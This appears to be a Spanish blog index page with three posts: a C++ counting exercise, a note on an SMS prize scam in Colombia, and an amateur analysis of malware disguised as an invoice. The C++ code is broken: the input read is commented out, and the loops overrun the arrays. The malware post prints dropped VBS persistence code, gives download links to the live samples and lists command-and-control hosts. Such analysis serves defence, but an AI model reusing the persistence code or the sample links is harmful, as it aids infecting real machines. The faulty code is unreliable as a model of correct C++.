Ejercicio 91

Etiquetas

,

Se tienen N registros donde cada uno contiene:
-Edad.
-Tipo(1: alto, 2: bajo, 3: medio).
-Nacionalidad((1: latino, 2:germano, 3:indu).
 
Hacer un algoritmo que obtenga:
-Numero de indues altos.
-Total de latinos.
-Germanos bajos menores de 30 años.
-Total de indues medianos.
-Total de germanos.
-Latinos bajos menores de 40 años.
 
Descargar: http://www.copiatelo.com/index.php?show=f38ccd1d6
 

#include
using namespace std;
int main(int argc, const char * argv[])
{

int Nregistros;
cout << "Ingrese cantidad de registros : ";//pido Nregistros para poder darle tamaño a los vectores cin>>Nregistros;
int edad[Nregistros];//Vector para guardar la edad
int nacionalidad[Nregistros];//vector para guardar nacionalidad(1 latino 2 germano 3 indu)
int tipo[Nregistros];//Vector para guardar tipo(1 alto 2 bajo 3 medio)
int alto=0,bajo=0,medio=0,latino=0,germano=0,indu=0;
//////INICIO ALGORITMO/////////
for(int x=0;x<=Nregistros;x++){//for para pedir datos y almacenarlos en los vectores
cout<<"Edad : "; cin>>edad[x];//almaceno edad

cout<<"Tipo : "; cin>>tipo[x];//almaceno tipo
if(tipo[x]==1)//creo un if para poder ordenar los tipos y despues dar el resultado mas facil
alto++;
else if (tipo[x]==2)
bajo++;
else if (tipo[x]==3)
medio++;
else
cout<<"Numero invalido (1.Alto 2.Bajo 3.Medio)";

cout<<"Nacionalidad : "; cin>>nacionalidad[x];//almaceno nacionalidad
if(nacionalidad[x]==1)//creo un if para poder ordenar las nacionalidades y despues dar el resultado mas facil
latino++;
else if (nacionalidad[x]==2)
germano++;
else if (nacionalidad[x]==3)
indu++;
else
cout<<"Numero invalido (1.Latino 2.Germano 3.Indu)";

}
//numero de indues altos
int ind_altos=0;
for(int z=0;z<=Nregistros;z++){
if(nacionalidad[z]==3&&tipo[z]==1)
ind_altos++;
}
cout<<"INDUES ALTOS = "<<ind_altos<<endl;
//total de latinos
cout<<"TOTAL DE LATINOS = "<<latino<<endl;;
//germanos bajos menores de 30 años
int ger_bajos=0;
for(int z=0;z<=Nregistros;z++){
if(nacionalidad[z]==2&&tipo[z]==2&&edad[z]<30)
ger_bajos++;
}
cout<<"GERMANOS BAJOS MENORES DE 30 AÑOS = "<<ger_bajos<<endl;
//total de indues medianos
int ind_medianos=0;
for(int z=0;z<=Nregistros;z++){
if(nacionalidad[z]==3&&tipo[z]==3)
ind_medianos++;
}
cout<<"INDUES MEDIANOS = "<<ind_medianos<<endl;
//total de germanos
cout<<"GERMANOS = "<<germano;
//latinos bajos menores de 40 años
int lat_bajos=0;
for(int z=0;z<=Nregistros;z++){
if(nacionalidad[z]==1&&tipo[z]==2&&edad[z]<40)
lat_bajos++;
}

return 0;
}

 

Smishing en Colombia

Etiquetas

Hola lectores, esta tarde estaba trabajando como siempre cuando me llego un mensaje SMS diciendo que me había ganado una moto y que me Comunicará a un número para obtener más información:

image

Lo primero que alguien con conocimiento sospecha es por que tengo que comunicarme a un número celular?, al comunicarme y hablar con ellos me explicaron que tenía que tenía que enviar un giro por un valor de 1,000.000 de pesos (510 usd) a una persona para poder que la moto me sea entregada, obviamente es una estafa.

Que es el smishing?

Para los que conocen el phishing el smishing es la misma técnica solo que aquí el mensaje es enviado masivamente a muchos números de celular.

Analizando Malware

Etiquetas

, , , , , , ,

Hola gente, hoy les dejo un aporte para los que les gusta analizar malware

Resulta que hace poco me llego un virus a mi hotmail disfrasado de ser una factura, lo descargue y lo ejecute en vmware para analizar, el archivo que me llego fue este: http://stashbox.org/1465116/Factura.rar

despues de ejecutar y ver que ocurria en el sistema el archivo Factura.exe se conecto a:

bamovil-181-135-129-36.une.net.co

por el puerto 2828
y descargo en %tmp% 3 archivos, 2 archivos .vbs que contenian los siguintes codigos:

lol.vbs
Set Monaco = CreateObject("wscript.shell")
Monaco.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Sexto", "%APPDATA%\Sexto\Sexto.exe", "REG_EXPAND_SZ"
Monaco.Run "attrib +r +s +h %APPDATA%\Sexto", vbHide
Monaco.Run "attrib +r +s +h %APPDATA%\Sexto\*.*", vbHide

ejecutas.vbs

Set WshShell = WScript.CreateObject("WScript.Shell")
Return = WshShell.Run("nada.exe", 2, true)

y un ejecutable mas “svchost.exe” –>> http://www.sendspace.com/file/ox6052

el ejecutable “svchost.exe” se conecta a las siguientes url’s
dominio - ip

alialiking.zapto.org – 46.43.114.223
nf1.no-ip.com – Addr: 2001:1838:f002::129
nf2.no-ip.com – 69.72.255.8
nf3.no-ip.com – 69.65.40.108
nf4.no-ip.com – 180.92.187.122
nf5.no-ip.com – 83.222.240.75
31.192.72.5

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.